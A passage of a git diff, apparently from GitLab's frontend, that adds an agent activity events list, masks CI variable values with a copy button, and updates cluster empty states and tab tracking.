- <div v-else class="d-flex truncated-container">
- <span :id="`ci-variable-value-${item.id}`" class="d-inline-block mw-100 text-truncate">{{
- item.value
- }}</span>
- <ci-variable-popover
- :target="`ci-variable-value-${item.id}`"
- :value="item.value"
- :tooltip-text="__('Copy value')"
+ <div class="gl-display-flex gl-align-items-center truncated-container">
+ <span v-if="valuesHidden">*********************</span>
+ <span
+ v-else
+ :id="`ci-variable-value-${item.id}`"
+ class="gl-display-inline-block gl-max-w-full gl-text-truncate"
+ >{{ item.value }}</span
+ >
+ <gl-button
+ v-gl-tooltip
+ category="tertiary"
+ icon="copy-to-clipboard"
+ :title="__('Copy value')"
+ :data-clipboard-text="item.value"
+ :aria-label="__('Copy to clipboard')"
/>
</div>
</template>
diff --git a/app/assets/javascripts/ci_variable_list/constants.js b/app/assets/javascripts/ci_variable_list/constants.js
index 4ebbf05814b..663a912883b 100644
--- a/app/assets/javascripts/ci_variable_list/constants.js
+++ b/app/assets/javascripts/ci_variable_list/constants.js
@@ -19,6 +19,9 @@ export const AWS_TIP_MESSAGE = __(
'%{deployLinkStart}Use a template to deploy to ECS%{deployLinkEnd}, or use a docker image to %{commandsLinkStart}run AWS commands in GitLab CI/CD%{commandsLinkEnd}.',
);
+export const EVENT_LABEL = 'ci_variable_modal';
+export const EVENT_ACTION = 'validation_error';
+
// AWS TOKEN CONSTANTS
export const AWS_ACCESS_KEY_ID = 'AWS_ACCESS_KEY_ID';
export const AWS_DEFAULT_REGION = 'AWS_DEFAULT_REGION';
diff --git a/app/assets/javascripts/clusters/agents/components/activity_events_list.vue b/app/assets/javascripts/clusters/agents/components/activity_events_list.vue
new file mode 100644
index 00000000000..6567ce203bc
--- /dev/null
+++ b/app/assets/javascripts/clusters/agents/components/activity_events_list.vue
@@ -0,0 +1,176 @@
+<script>
+import {
+ GlLoadingIcon,
+ GlEmptyState,
+ GlLink,
+ GlIcon,
+ GlAlert,
+ GlTooltipDirective,
+} from '@gitlab/ui';
+import { helpPagePath } from '~/helpers/help_page_helper';
+import { n__, s__, __ } from '~/locale';
+import { formatDate, getDayDifference, isToday } from '~/lib/utils/datetime_utility';
+import { EVENTS_STORED_DAYS } from '../constants';
+import getAgentActivityEventsQuery from '../graphql/queries/get_agent_activity_events.query.graphql';
+import ActivityHistoryItem from './activity_history_item.vue';
+
+export default {
+ components: {
+ GlLoadingIcon,
+ GlEmptyState,
+ GlAlert,
+ GlLink,
+ GlIcon,
+ ActivityHistoryItem,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ i18n: {
+ emptyText: s__(
+ 'ClusterAgents|See Agent activity updates such as tokens created or revoked and clusters connected or not connected.',
+ ),
+ emptyTooltip: s__('ClusterAgents|What is GitLab Agent activity?'),
+ error: s__(
+ 'ClusterAgents|An error occurred while retrieving GitLab Agent activity. Reload the page to try again.',
+ ),
+ today: __('Today'),
+ yesterday: __('Yesterday'),
+ },
+ emptyHelpLink: helpPagePath('user/clusters/agent/install/index', {
+ anchor: 'view-agent-activity',
+ }),
+ borderClasses: 'gl-border-b-1 gl-border-b-solid gl-border-b-gray-100',
+ apollo: {
+ agentEvents: {
+ query: getAgentActivityEventsQuery,
+ variables() {
+ return {
+ agentName: this.agentName,
+ projectPath: this.projectPath,
+ };
+ },
+ update: (data) => data?.project?.clusterAgent?.activityEvents?.nodes,
+ error() {
+ this.isError = true;
+ },
+ },
+ },
+ inject: ['agentName', 'projectPath', 'activityEmptyStateImage'],
+ data() {
+ return {
+ isError: false,
+ };
+ },
+ computed: {
+ isLoading() {
+ return this.$apollo.queries.agentEvents?.loading;
+ },
+ emptyStateTitle() {
+ return n__(
+ "ClusterAgents|There's no activity from the past day",
+ "ClusterAgents|There's no activity from the past %d days",
+ EVENTS_STORED_DAYS,
+ );
+ },
+ eventsList() {
+ const list = this.agentEvents;
+ const listByDates = {};
+
+ if (!list?.length) {
+ return listByDates;
+ }
+
+ list.forEach((event) => {
+ const dateName = this.getFormattedDate(event.recordedAt);
+ if (!listByDates[dateName]) {
+ listByDates[dateName] = [];
+ }
+ listByDates[dateName].push(event);
+ });
+
+ return listByDates;
+ },
+ hasEvents() {
+ return Object.keys(this.eventsList).length;
+ },
+ },
+ methods: {
+ isYesterday(date) {
+ const today = new Date();
+ return getDayDifference(today, date) === -1;
+ },
+ getFormattedDate(dateString) {
+ const date = new Date(dateString);
+ let dateName;
+ if (isToday(date)) {
+ dateName = this.$options.i18n.today;
+ } else if (this.isYesterday(date)) {
+ dateName = this.$options.i18n.yesterday;
+ } else {
+ dateName = formatDate(date, 'yyyy-mm-dd');
+ }
+ return dateName;
+ },
+ isLast(dateEvents, idx) {
+ return idx === dateEvents.length - 1;
+ },
+ getBodyClasses(dateEvents, idx) {
+ return !this.isLast(dateEvents, idx) ? this.$options.borderClasses : '';
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-loading-icon v-if="isLoading" size="md" />
+
+ <div v-else-if="hasEvents">
+ <div
+ v-for="(dateEvents, key) in eventsList"
+ :key="key"
+ class="agent-activity-list issuable-discussion"
+ >
+ <h4
+ class="gl-pb-4 gl-ml-5"
+ :class="$options.borderClasses"
+ data-testid="activity-section-title"
+ >
+ {{ key }}
+ </h4>
+
+ <ul class="notes main-notes-list timeline">
+ <activity-history-item
+ v-for="(event, idx) in dateEvents"
+ :key="idx"
+ :event="event"
+ :body-class="getBodyClasses(dateEvents, idx)"
+ />
+ </ul>
+ </div>
+ </div>
+
+ <gl-alert v-else-if="isError" variant="danger" :dismissible="false" class="gl-mt-3">
+ {{ $options.i18n.error }}
+ </gl-alert>
+
+ <gl-empty-state
+ v-else
+ :title="emptyStateTitle"
+ :svg-path="activityEmptyStateImage"
+ :svg-height="150"
+ >
+ <template #description
+ >{{ $options.i18n.emptyText }}
+ <gl-link
+ v-gl-tooltip
+ :href="$options.emptyHelpLink"
+ :title="$options.i18n.emptyTooltip"
+ :aria-label="$options.i18n.emptyTooltip"
+ ><gl-icon name="question" :size="14"
+ /></gl-link>
+ </template>
+ </gl-empty-state>
+ </div>
+</template>
diff --git a/app/assets/javascripts/clusters/agents/components/activity_history_item.vue b/app/assets/javascripts/clusters/agents/components/activity_history_item.vue
new file mode 100644
index 00000000000..7792d89a575
--- /dev/null
+++ b/app/assets/javascripts/clusters/agents/components/activity_history_item.vue
@@ -0,0 +1,79 @@
+<script>
+import { GlLink, GlIcon, GlSprintf } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
+import { EVENT_DETAILS, DEFAULT_ICON } from '../constants';
+
+export default {
+ i18n: {
+ defaultBodyText: s__('ClusterAgents|Event occurred'),
+ },
+ components: {
+ GlLink,
+ GlIcon,
+ GlSprintf,
+ TimeAgoTooltip,
+ HistoryItem,
+ },
+ props: {
+ event: {
+ required: true,
+ type: Object,
+ },
+ bodyClass: {
+ required: false,
+ default: '',
+ type: String,
+ },
+ },
+ computed: {
+ eventDetails() {
+ const defaultEvent = {
+ eventTypeIcon: DEFAULT_ICON,
+ title: this.event.kind,
+ body: this.$options.i18n.defaultBodyText,
+ };
+
+ const eventDetails = EVENT_DETAILS[this.event.kind] || defaultEvent;
+ const { eventTypeIcon, title, body, titleIcon } = eventDetails;
+ const resultEvent = { ...this.event, eventTypeIcon, title, body, titleIcon };
+
+ return resultEvent;
+ },
+ },
+};
+</script>
+<template>
+ <history-item :icon="eventDetails.eventTypeIcon" class="gl-my-0! gl-pr-0!">
+ <strong>
+ <gl-sprintf :message="eventDetails.title"
+ ><template v-if="eventDetails.titleIcon" #titleIcon
+ ><gl-icon
+ class="gl-mr-2"
+ :name="eventDetails.titleIcon.name"
+ :size="12"
+ :class="eventDetails.titleIcon.class"
+ />
+ </template>
+ <template #tokenName>{{ eventDetails.agentToken.name }}</template></gl-sprintf
+ >
+ </strong>
+
+ <template #body>
+ <p class="gl-mt-2 gl-mb-0 gl-pb-2" :class="bodyClass">
+ <gl-sprintf :message="eventDetails.body">
+ <template #userName>
+ <span class="gl-font-weight-bold">{{ eventDetails.user.name }}</span>
+ <gl-link :href="eventDetails.user.webUrl">@{{ eventDetails.user.username }}</gl-link>
+ </template>
+
+ <template #strong="{ content }">
+ <span class="gl-font-weight-bold"> {{ content }} </span>
+ </template>
+ </gl-sprintf>
+ <time-ago-tooltip :time="eventDetails.recordedAt" />
+ </p>
+ </template>
+ </history-item>
+</template>
diff --git a/app/assets/javascripts/clusters/agents/components/show.vue b/app/assets/javascripts/clusters/agents/components/show.vue
index afbba9d1f7c..9109c010500 100644
--- a/app/assets/javascripts/clusters/agents/components/show.vue
+++ b/app/assets/javascripts/clusters/agents/components/show.vue
@@ -8,11 +8,12 @@ import {
GlTab,
GlTabs,
} from '@gitlab/ui';
-import { s__ } from '~/locale';
+import { s__, __ } from '~/locale';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import { MAX_LIST_COUNT } from '../constants';
import getClusterAgentQuery from '../graphql/queries/get_cluster_agent.query.graphql';
import TokenTable from './token_table.vue';
+import ActivityEvents from './activity_events_list.vue';
export default {
i18n: {
@@ -20,6 +21,7 @@ export default {
loadingError: s__('ClusterAgents|An error occurred while loading your agent'),
tokens: s__('ClusterAgents|Access tokens'),
unknownUser: s__('ClusterAgents|Unknown user'),
+ activity: __('Activity'),
},
apollo: {
clusterAgent: {
@@ -47,6 +49,7 @@ export default {
GlTabs,
TimeAgoTooltip,
TokenTable,
+ ActivityEvents,
},
props: {
agentName: {
@@ -127,9 +130,14 @@ export default {
</gl-sprintf>
</p>
- <gl-tabs>
+ <gl-tabs sync-active-tab-with-query-params lazy>
+ <gl-tab :title="$options.i18n.activity" query-param-value="activity">
+ <activity-events :agent-name="agentName" :project-path="projectPath" />
+ </gl-tab>
+
<slot name="ee-security-tab"></slot>
- <gl-tab>
+
+ <gl-tab query-param-value="tokens">
<template #title>
<span data-testid="cluster-agent-token-count">
{{ $options.i18n.tokens }}
@@ -143,7 +151,7 @@ export default {
<gl-loading-icon v-if="isLoading" size="md" class="gl-m-3" />
<div v-else>
- <TokenTable :tokens="tokens" />
+ <token-table :tokens="tokens" />
<div v-if="showPagination" class="gl-display-flex gl-justify-content-center gl-mt-5">
<gl-keyset-pagination v-bind="tokenPageInfo" @prev="prevPage" @next="nextPage" />
diff --git a/app/assets/javascripts/clusters/agents/components/token_table.vue b/app/assets/javascripts/clusters/agents/components/token_table.vue
index 70ed2566134..019fac531d1 100644
--- a/app/assets/javascripts/clusters/agents/components/token_table.vue
+++ b/app/assets/javascripts/clusters/agents/components/token_table.vue
@@ -62,8 +62,8 @@ export default {
];
},
learnMoreUrl() {
- return helpPagePath('user/clusters/agent/index.md', {
- anchor: 'create-an-agent-record-in-gitlab',
+ return helpPagePath('user/clusters/agent/install/index', {
+ anchor: 'register-an-agent-with-gitlab',
});
},
},
@@ -83,7 +83,14 @@ export default {
</gl-link>
</div>
- <gl-table :items="tokens" :fields="fields" fixed stacked="md">
+ <gl-table
+ :items="tokens"
+ :fields="fields"
+ fixed
+ stacked="md"
+ head-variant="white"
+ thead-class="gl-border-b-solid gl-border-b-2 gl-border-b-gray-100"
+ >
<template #cell(lastUsed)="{ item }">
<time-ago-tooltip v-if="item.lastUsedAt" :time="item.lastUsedAt" />
<span v-else>{{ $options.i18n.neverUsed }}</span>
diff --git a/app/assets/javascripts/clusters/agents/constants.js b/app/assets/javascripts/clusters/agents/constants.js
index bbc4630f83b..315c7662755 100644
--- a/app/assets/javascripts/clusters/agents/constants.js
+++ b/app/assets/javascripts/clusters/agents/constants.js
@@ -1 +1,38 @@
+import { s__ } from '~/locale';
+
export const MAX_LIST_COUNT = 25;
+
+export const EVENTS_STORED_DAYS = 7;
+
+export const EVENT_DETAILS = {
+ token_created: {
+ eventTypeIcon: 'token',
+ title: s__('ClusterAgents|%{tokenName} created'),
+ body: s__('ClusterAgents|Token created by %{userName}'),
+ },
+ token_revoked: {
+ eventTypeIcon: 'token',
+ title: s__('ClusterAgents|%{tokenName} revoked'),
+ body: s__('ClusterAgents|Token revoked by %{userName}'),
+ },
+ agent_connected: {
+ eventTypeIcon: 'connected',
+ title: s__('ClusterAgents|%{titleIcon}Connected'),
+ body: s__('ClusterAgents|Agent %{strongStart}connected%{strongEnd}'),
+ titleIcon: {
+ name: 'status-success',
+ class: 'text-success-500',
+ },
+ },
+ agent_disconnected: {
+ eventTypeIcon: 'connected',
+ title: s__('ClusterAgents|%{titleIcon}Not connected'),
+ body: s__('ClusterAgents|Agent %{strongStart}disconnected%{strongEnd}'),
+ titleIcon: {
+ name: 'severity-critical',
+ class: 'text-danger-800',
+ },
+ },
+};
+
+export const DEFAULT_ICON = 'token';
diff --git a/app/assets/javascripts/clusters/agents/graphql/fragments/cluster_agent_token.fragment.graphql b/app/assets/javascripts/clusters/agents/graphql/fragments/cluster_agent_token.fragment.graphql
index 1e9187e8ad1..7deb057ede9 100644
--- a/app/assets/javascripts/clusters/agents/graphql/fragments/cluster_agent_token.fragment.graphql
+++ b/app/assets/javascripts/clusters/agents/graphql/fragments/cluster_agent_token.fragment.graphql
@@ -4,8 +4,8 @@ fragment Token on ClusterAgentToken {
description
lastUsedAt
name
-
createdByUser {
+ id
name
}
}
diff --git a/app/assets/javascripts/clusters/agents/graphql/queries/get_agent_activity_events.query.graphql b/app/assets/javascripts/clusters/agents/graphql/queries/get_agent_activity_events.query.graphql
new file mode 100644
index 00000000000..0d7ff029387
--- /dev/null
+++ b/app/assets/javascripts/clusters/agents/graphql/queries/get_agent_activity_events.query.graphql
@@ -0,0 +1,25 @@
+query getAgentActivityEvents($projectPath: ID!, $agentName: String!) {
+ project(fullPath: $projectPath) {
+ id
+ clusterAgent(name: $agentName) {
+ id
+ activityEvents {
+ nodes {
+ kind
+ level
+ recordedAt
+ agentToken {
+ id
+ name
+ }
+ user {
+ id
+ name
+ username
+ webUrl
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/clusters/agents/graphql/queries/get_cluster_agent.query.graphql b/app/assets/javascripts/clusters/agents/graphql/queries/get_cluster_agent.query.graphql
index d01db8f0a6a..3662e925261 100644
--- a/app/assets/javascripts/clusters/agents/graphql/queries/get_cluster_agent.query.graphql
+++ b/app/assets/javascripts/clusters/agents/graphql/queries/get_cluster_agent.query.graphql
@@ -10,11 +10,13 @@ query getClusterAgent(
$beforeToken: String
) {
project(fullPath: $projectPath) {
+ id
clusterAgent(name: $agentName) {
id
createdAt
createdByUser {
+ id
name
}
diff --git a/app/assets/javascripts/clusters/agents/index.js b/app/assets/javascripts/clusters/agents/index.js
index 426d8d83847..5796c9e308d 100644
--- a/app/assets/javascripts/clusters/agents/index.js
+++ b/app/assets/javascripts/clusters/agents/index.js
@@ -13,11 +13,12 @@ export default () => {
}
const defaultClient = createDefaultClient();
- const { agentName, projectPath } = el.dataset;
+ const { agentName, projectPath, activityEmptyStateImage } = el.dataset;
return new Vue({
el,
apolloProvider: new VueApollo({ defaultClient }),
+ provide: { agentName, projectPath, activityEmptyStateImage },
render(createElement) {
return createElement(AgentShowPage, {
props: {
diff --git a/app/assets/javascripts/clusters_list/components/agent_empty_state.vue b/app/assets/javascripts/clusters_list/components/agent_empty_state.vue
index af44a23b4b3..f54f7b11414 100644
--- a/app/assets/javascripts/clusters_list/components/agent_empty_state.vue
+++ b/app/assets/javascripts/clusters_list/components/agent_empty_state.vue
@@ -1,107 +1,54 @@
<script>
-import { GlButton, GlEmptyState, GlLink, GlSprintf, GlAlert, GlModalDirective } from '@gitlab/ui';
+import { GlButton, GlEmptyState, GlLink, GlSprintf, GlModalDirective } from '@gitlab/ui';
import { helpPagePath } from '~/helpers/help_page_helper';
import { INSTALL_AGENT_MODAL_ID, I18N_AGENTS_EMPTY_STATE } from '../constants';
export default {
i18n: I18N_AGENTS_EMPTY_STATE,
modalId: INSTALL_AGENT_MODAL_ID,
- multipleClustersDocsUrl: helpPagePath('user/project/clusters/multiple_kubernetes_clusters'),
- installDocsUrl: helpPagePath('administration/clusters/kas'),
- getStartedDocsUrl: helpPagePath('user/clusters/agent/index', {
- anchor: 'define-a-configuration-repository',
- }),
+ agentDocsUrl: helpPagePath('user/clusters/agent/index'),
components: {
GlButton,
GlEmptyState,
GlLink,
GlSprintf,
- GlAlert,
},
directives: {
GlModalDirective,
},
- inject: ['emptyStateImage', 'projectPath'],
+ inject: ['emptyStateImage'],
props: {
- hasConfigurations: {
- type: Boolean,
- required: true,
- },
isChildComponent: {
default: false,
required: false,
type: Boolean,
},
},
- computed: {
- repositoryPath() {
- return `/${this.projectPath}`;
- },
- },
};
</script>
<template>
<gl-empty-state :svg-path="emptyStateImage" title="" class="agents-empty-state">
<template #description>
- <p class="mw-460 gl-mx-auto gl-text-left">
- {{ $options.i18n.introText }}
- </p>
- <p class="mw-460 gl-mx-auto gl-text-left">
- <gl-sprintf :message="$options.i18n.multipleClustersText">
+ <p class="gl-text-left">
+ <gl-sprintf :message="$options.i18n.introText">
<template #link="{ content }">
- <gl-link
- :href="$options.multipleClustersDocsUrl"
- target="_blank"
- data-testid="multiple-clusters-docs-link"
- >
+ <gl-link :href="$options.agentDocsUrl">
{{ content }}
</gl-link>
</template>
</gl-sprintf>
</p>
-
- <p class="mw-460 gl-mx-auto">
- <gl-link :href="$options.installDocsUrl" target="_blank" data-testid="install-docs-link">
- {{ $options.i18n.learnMoreText }}
- </gl-link>
- </p>
-
- <gl-alert
- v-if="!hasConfigurations"
- variant="warning"
- class="gl-mb-5 text-left"
- :dismissible="false"
- >
- {{ $options.i18n.warningText }}
-
- <template #actions>
- <gl-button
- category="primary"
- variant="info"
- :href="$options.getStartedDocsUrl"
- target="_blank"
- class="gl-ml-0!"
- >
- {{ $options.i18n.readMoreText }}
- </gl-button>
- <gl-button category="secondary" variant="info" :href="repositoryPath">
- {{ $options.i18n.repositoryButtonText }}
- </gl-button>
- </template>
- </gl-alert>
</template>
<template #actions>
<gl-button
v-if="!isChildComponent"
v-gl-modal-directive="$options.modalId"
- :disabled="!hasConfigurations"
- data-testid="integration-primary-button"
category="primary"
variant="confirm"
>
- {{ $options.i18n.primaryButtonText }}
+ {{ $options.i18n.buttonText }}
</gl-button>
</template>
</gl-empty-state>
diff --git a/app/assets/javascripts/clusters_list/components/agents.vue b/app/assets/javascripts/clusters_list/components/agents.vue
index fb5cf7d1206..45108a28e37 100644
--- a/app/assets/javascripts/clusters_list/components/agents.vue
+++ b/app/assets/javascripts/clusters_list/components/agents.vue
@@ -86,9 +86,6 @@ export default {
treePageInfo() {
return this.agents?.project?.repository?.tree?.trees?.pageInfo || {};
},
- hasConfigurations() {
- return Boolean(this.agents?.project?.repository?.tree?.trees?.nodes?.length);
- },
},
methods: {
reloadAgents() {
@@ -161,11 +158,7 @@ export default {
</div>
</div>
- <agent-empty-state
- v-else
- :has-configurations="hasConfigurations"
- :is-child-component="isChildComponent"
- />
+ <agent-empty-state v-else :is-child-component="isChildComponent" />
</section>
<gl-alert v-else variant="danger" :dismissible="false">
diff --git a/app/assets/javascripts/clusters_list/components/available_agents_dropdown.vue b/app/assets/javascripts/clusters_list/components/available_agents_dropdown.vue
index 9fb020d2f4f..1630d0d5c92 100644
--- a/app/assets/javascripts/clusters_list/components/available_agents_dropdown.vue
+++ b/app/assets/javascripts/clusters_list/components/available_agents_dropdown.vue
@@ -1,7 +1,6 @@
<script>
import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { I18N_AVAILABLE_AGENTS_DROPDOWN } from '../constants';
-import agentConfigurations from '../graphql/queries/agent_configurations.query.graphql';
export default {
name: 'AvailableAgentsDropdown',
@@ -10,36 +9,22 @@ export default {
GlDropdown,
GlDropdownItem,
},
- inject: ['projectPath'],
props: {
isRegistering: {
required: true,
type: Boolean,
},
- },
- apollo: {
- agents: {
- query: agentConfigurations,
- variables() {
- return {
- projectPath: this.projectPath,
- };
- },
- update(data) {
- this.populateAvailableAgents(data);
- },
+ availableAgents: {
+ required: true,
+ type: Array,
},
},
data() {
return {
- availableAgents: [],
selectedAgent: null,
};
},
computed: {
- isLoading() {
- return this.$apollo.queries.agents.loading;
- },
dropdownText() {
if (this.isRegistering) {
return this.$options.i18n.registeringAgent;
@@ -58,18 +43,11 @@ export default {
isSelected(agent) {
return this.selectedAgent === agent;
},
- populateAvailableAgents(data) {
- const installedAgents = data?.project?.clusterAgents?.nodes.map((agent) => agent.name) ?? [];
- const configuredAgents =
- data?.project?.agentConfigurations?.nodes.map((config) => config.agentName) ?? [];
-
- this.availableAgents = configuredAgents.filter((agent) => !installedAgents.includes(agent));
- },
},
};
</script>
<template>
- <gl-dropdown :text="dropdownText" :loading="isLoading || isRegistering">
+ <gl-dropdown :text="dropdownText" :loading="isRegistering">
<gl-dropdown-item
v-for="agent in availableAgents"
:key="agent"
diff --git a/app/assets/javascripts/clusters_list/components/clusters_empty_state.vue b/app/assets/javascripts/clusters_list/components/clusters_empty_state.vue
index 3879af6e9cb..ce601de57bd 100644
--- a/app/assets/javascripts/clusters_list/components/clusters_empty_state.vue
+++ b/app/assets/javascripts/clusters_list/components/clusters_empty_state.vue
@@ -1,5 +1,5 @@
<script>
-import { GlEmptyState, GlButton, GlLink, GlSprintf } from '@gitlab/ui';
+import { GlEmptyState, GlButton, GlLink, GlSprintf, GlAlert } from '@gitlab/ui';
import { mapState } from 'vuex';
import { helpPagePath } from '~/helpers/help_page_helper';
import { I18N_CLUSTERS_EMPTY_STATE } from '../constants';
@@ -11,6 +11,7 @@ export default {
GlButton,
GlLink,
GlSprintf,
+ GlAlert,
},
inject: ['emptyStateHelpText', 'clustersEmptyStateImage', 'newClusterPath'],
props: {
@@ -20,8 +21,11 @@ export default {
type: Boolean,
},
},
- learnMoreHelpUrl: helpPagePath('user/project/clusters/index'),
- multipleClustersHelpUrl: helpPagePath('user/project/clusters/multiple_kubernetes_clusters'),
+ clustersHelpUrl: helpPagePath('user/infrastructure/clusters/index', {
+ anchor: 'certificate-based-kubernetes-integration-deprecated',
+ }),
+ blogPostUrl:
+ 'https://about.gitlab.com/blog/2021/11/15/deprecating-the-cert-based-kubernetes-integration/',
computed: {
...mapState(['canAddCluster']),
},
@@ -29,48 +33,45 @@ export default {
</script>
<template>
- <gl-empty-state :svg-path="clustersEmptyStateImage" title="">
- <template #description>
- <p class="gl-text-left">
- {{ $options.i18n.description }}
- </p>
- <p class="gl-text-left">
- <gl-sprintf :message="$options.i18n.multipleClustersText">
- <template #link="{ content }">
- <gl-link
- :href="$options.multipleClustersHelpUrl"
- target="_blank"
- data-testid="multiple-clusters-docs-link"
- >
- {{ content }}
- </gl-link>
- </template>
- </gl-sprintf>
- </p>
+ <div>
+ <gl-empty-state :svg-path="clustersEmptyStateImage" title="">
+ <template #description>
+ <p class="gl-text-left">
+ <gl-sprintf :message="$options.i18n.introText">
+ <template #link="{ content }">
+ <gl-link :href="$options.clustersHelpUrl">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
- <p v-if="emptyStateHelpText" data-testid="clusters-empty-state-text">
- {{ emptyStateHelpText }}
- </p>
+ <p v-if="emptyStateHelpText" data-testid="clusters-empty-state-text">
+ {{ emptyStateHelpText }}
+ </p>
+ </template>
- <p>
- <gl-link :href="$options.learnMoreHelpUrl" target="_blank" data-testid="clusters-docs-link">
- {{ $options.i18n.learnMoreLinkText }}
- </gl-link>
- </p>
- </template>
+ <template #actions>
+ <gl-button
+ v-if="!isChildComponent"
+ data-testid="integration-primary-button"
+ data-qa-selector="add_kubernetes_cluster_link"
+ category="primary"
+ variant="confirm"
+ :disabled="!canAddCluster"
+ :href="newClusterPath"
+ >
+ {{ $options.i18n.buttonText }}
+ </gl-button>
+ </template>
+ </gl-empty-state>
- <template #actions>
- <gl-button
- v-if="!isChildComponent"
- data-testid="integration-primary-button"
- data-qa-selector="add_kubernetes_cluster_link"
- category="primary"
- variant="confirm"
- :disabled="!canAddCluster"
- :href="newClusterPath"
- >
- {{ $options.i18n.buttonText }}
- </gl-button>
- </template>
- </gl-empty-state>
+ <gl-alert variant="warning" :dismissible="false">
+ <gl-sprintf :message="$options.i18n.alertText">
+ <template #link="{ content }">
+ <gl-link :href="$options.blogPostUrl" target="_blank">
+ {{ content }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
+ </div>
</template>
diff --git a/app/assets/javascripts/clusters_list/components/clusters_main_view.vue b/app/assets/javascripts/clusters_list/components/clusters_main_view.vue
index 9e03093aa67..7dd5ece9b8e 100644
--- a/app/assets/javascripts/clusters_list/components/clusters_main_view.vue
+++ b/app/assets/javascripts/clusters_list/components/clusters_main_view.vue
@@ -1,12 +1,22 @@
<script>
import { GlTabs, GlTab } from '@gitlab/ui';
-import { CLUSTERS_TABS, MAX_CLUSTERS_LIST, MAX_LIST_COUNT, AGENT } from '../constants';
+import Tracking from '~/tracking';
+import {
+ CLUSTERS_TABS,
+ MAX_CLUSTERS_LIST,
+ MAX_LIST_COUNT,
+ AGENT,
+ EVENT_LABEL_TABS,
+ EVENT_ACTIONS_CHANGE,
+} from '../constants';
import Agents from './agents.vue';
import InstallAgentModal from './install_agent_modal.vue';
import ClustersActions from './clusters_actions.vue';
import Clusters from './clusters.vue';
import ClustersViewAll from './clusters_view_all.vue';
+const trackingMixin = Tracking.mixin({ label: EVENT_LABEL_TABS });
+
export default {
components: {
GlTabs,
@@ -18,6 +28,7 @@ export default {
InstallAgentModal,
},
CLUSTERS_TABS,
+ mixins: [trackingMixin],
props: {
defaultBranchName: {
default: '.noBranch',
@@ -34,9 +45,12 @@ export default {
methods: {
onTabChange(tabName) {
this.selectedTabIndex = CLUSTERS_TABS.findIndex((tab) => tab.queryParamValue === tabName);
-
this.maxAgents = tabName === AGENT ? MAX_LIST_COUNT : MAX_CLUSTERS_LIST;
},
+ trackTabChange(tab) {
+ const tabName = CLUSTERS_TABS[tab].queryParamValue;
+ this.track(EVENT_ACTIONS_CHANGE, { property: tabName });
+ },
},
};
</script>
@@ -47,6 +61,7 @@ export default {
sync-active-tab-with-query-params
nav-class="gl-flex-grow-1 gl-align-items-center"
lazy
+ @input="trackTabChange"
>
<gl-tab
v-for="(tab, idx) in $options.CLUSTERS_TABS"
diff --git a/app/assets/javascripts/clusters_list/components/clusters_view_all.vue b/app/assets/javascripts/clusters_list/components/clusters_view_all.vue
index 285876e57d8..0e312d21e4e 100644
--- a/app/assets/javascripts/clusters_list/components/clusters_view_all.vue
+++ b/app/assets/javascripts/clusters_list/components/clusters_view_all.vue
@@ -34,10 +34,12 @@ export default {
directives: {
GlModalDirective,
},
- AGENT_CARD_INFO,
- CERTIFICATE_BASED_CARD_INFO,
MAX_CLUSTERS_LIST,
INSTALL_AGENT_MODAL_ID,
+ i18n: {
+ agent: AGENT_CARD_INFO,
+ certificate: CERTIFICATE_BASED_CARD_INFO,
+ },
inject: ['addClusterPath'],
props: {
defaultBranchName: {
@@ -122,21 +124,21 @@ export default {
</gl-sprintf>
</h3>
- <gl-badge id="clusters-recommended-badge" size="md" variant="info">{{
- $options.AGENT_CARD_INFO.tooltip.label
+ <gl-badge id="clusters-recommended-badge" variant="info">{{
+ $options.i18n.agent.tooltip.label
}}</gl-badge>
<gl-popover
target="clusters-recommended-badge"
container="viewport"
placement="bottom"
- :title="$options.AGENT_CARD_INFO.tooltip.title"
+ :title="$options.i18n.agent.tooltip.title"
>
<p class="gl-mb-0">
- <gl-sprintf :message="$options.AGENT_CARD_INFO.tooltip.text">
+ <gl-sprintf :message="$options.i18n.agent.tooltip.text">
<template #link="{ content }">
<gl-link
- :href="$options.AGENT_CARD_INFO.tooltip.link"
+ :href="$options.i18n.agent.tooltip.link"
target="_blank"
class="gl-font-sm"
>
@@ -159,9 +161,9 @@ export default {
<gl-link
v-if="totalAgents"
data-testid="agents-tab-footer-link"
- :href="`?tab=${$options.AGENT_CARD_INFO.tabName}`"
- @click="changeTab($event, $options.AGENT_CARD_INFO.tabName)"
- ><gl-sprintf :message="$options.AGENT_CARD_INFO.footerText"
+ :href="`?tab=${$options.i18n.agent.tabName}`"
+ @click="changeTab($event, $options.i18n.agent.tabName)"
+ ><gl-sprintf :message="$options.i18n.agent.footerText"
><template #number>{{ cardFooterNumber(totalAgents) }}</template></gl-sprintf
></gl-link
><gl-button
@@ -169,7 +171,7 @@ export default {
class="gl-ml-4"
category="secondary"
variant="confirm"
- >{{ $options.AGENT_CARD_INFO.actionText }}</gl-button
+ >{{ $options.i18n.agent.actionText }}</gl-button
>
</template>
</gl-card>
@@ -190,6 +192,7 @@ export default {
<template #total>{{ clustersCardTitle.total }}</template>
</gl-sprintf>
</h3>
+ <gl-badge variant="warning">{{ $options.i18n.certificate.badgeText }}</gl-badge>
</template>
<clusters :limit="$options.MAX_CLUSTERS_LIST" :is-child-component="true" />
@@ -198,9 +201,9 @@ export default {
<gl-link
v-if="totalClusters"
data-testid="clusters-tab-footer-link"
- :href="`?tab=${$options.CERTIFICATE_BASED_CARD_INFO.tabName}`"
- @click="changeTab($event, $options.CERTIFICATE_BASED_CARD_INFO.tabName)"
- ><gl-sprintf :message="$options.CERTIFICATE_BASED_CARD_INFO.footerText"
+ :href="`?tab=${$options.i18n.certificate.tabName}`"
+ @click="changeTab($event, $options.i18n.certificate.tabName)"
+ ><gl-sprintf :message="$options.i18n.certificate.footerText"
><template #number>{{ cardFooterNumber(totalClusters) }}</template></gl-sprintf
></gl-link
><gl-button
@@ -209,7 +212,7 @@ export default {
variant="confirm"
class="gl-ml-4"
:href="addClusterPath"
- >{{ $options.CERTIFICATE_BASED_CARD_INFO.actionText }}</gl-button
+ >{{ $options.i18n.certificate.actionText }}</gl-button
>
